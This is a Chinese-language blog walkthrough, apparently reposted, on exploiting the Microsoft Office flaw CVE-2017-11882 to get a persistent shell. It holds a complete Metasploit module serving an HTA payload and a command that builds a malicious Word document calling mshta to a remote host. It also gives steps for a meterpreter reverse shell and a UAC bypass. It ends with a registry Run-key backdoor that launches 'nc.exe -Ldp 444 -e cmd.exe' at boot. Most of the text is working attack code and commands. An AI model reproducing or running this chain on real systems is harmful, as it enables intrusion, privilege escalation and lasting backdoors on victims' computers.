利用CVE-2017-11882拿到持久性shell

利用CVE-2017-11882拿到持久性shell

近日微软又爆出一个严重漏洞,利用该漏洞可以直接拿到目标机shell。这么好玩的东西怎么能错过了,于是搭建环境复现了一把。

 

首先去GitHub上下载exp https://github.com/starnightcyber/CVE-2017-11882.git

这里直接贴上exp脚本

把下面这段代码复制到usr/share/metasploit-framework/modules/exploits/windows/office/  名字随意格式为.rb

##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

 

 

class MetasploitModule  < Msf::Exploit::Remote

  Rank = NormalRanking

 

  include Msf::Exploit::Remote::HttpServer

 

  def initialize(info  = {})

    super(update_info(info,

      'Name' => 'Microsoft Office Payload Delivery',

      'Description' => %q{

        This module generates an command to place within

        a word document, that when executed, will retrieve a HTA payload

        via HTTP from an web server. Currently have not figured out how

        to generate a doc.

      },

      'License' => MSF_LICENSE,

      'Arch' => ARCH_X86,

      'Platform' => 'win',

      'Targets' =>

        [

          ['Automatic', {} ],

        ],

      'DefaultTarget' => 0,

    ))

  end

 

  def on_request_uri(cli, _request)

    print_status("Delivering payload")

    p = regenerate_payload(cli)

    data = Msf::Util::EXE.to_executable_fmt(

      framework,

      ARCH_X86,

      'win',

      p.encoded,

      'hta-psh',

      { :arch => ARCH_X86, :platform => 'win '}

    )

    send_response(cli, data, 'Content-Type' => 'application/hta')

  end

 

 

  def primer

    url = get_uri

    print_status("Place the following DDE in an MS document:")

    print_line("mshta.exe \"#{url}\"")

  end

end

 

打开msf,输入下列命令

use exploit/windows/office/CVE-2017-11882

 

 

 

set payload windows/meterpreter/reverse_tcp

show options 看一下需要设置哪些参数

 

这里我们设置一下LHOST和URIPATH就可以了,其他的用默认的即可。

LHOST就是kali 的ip URIPATH 是受害机连接的路径默认是遗传随机数,因为攻击脚本有字数限制所以我们改成123尽量减小长度。

 

 

设置好这些后就可以执行了。

输入 exploit -j

 

 

 

然后

在kali任意目录下gitclone https://github.com/starnightcyber/CVE-2017-11882.git

下好python脚本,在此目录下打开一个命令终端

 

输入下列命令,生成恶意文档

 

python Command_CVE-2017-11882.py -c "mshta http://ip/123" -o test.doc

 

 

 

Kali 开启Apache 靶机连接kali并下载恶意文档

靶机运行恶意文档

 

 

 

拿到meterpreter shell

 

getsystem 发现不是系统权限,因为Windows的UAC 保护机制

 

接下来我们利用kali自带的模块绕过UAC

 

use exploit/windows/local/bypassuac

set payload windows/meterpreter/reverse_tcp

一样的show options

set sessions

set lhost

set lport

exploit –j

获得一个新的sessions

 

 

利用刚获得的session 2 可以看到已经是系统管理员权限了

 

 

现在想干什么就干什么

我们就传一个nc修改一下注册表设置开机自启来获得一个永久后门吧。

 

 

 

在meterpreter下输入以下命令

 

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

 

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

 

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'

 

重启靶机在kali里输入

nc ip 444

成功拿到cmd shell

 

 

本次实验到此结束

 

转载于:https://www.cnblogs.com/Hilton/p/7900516.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值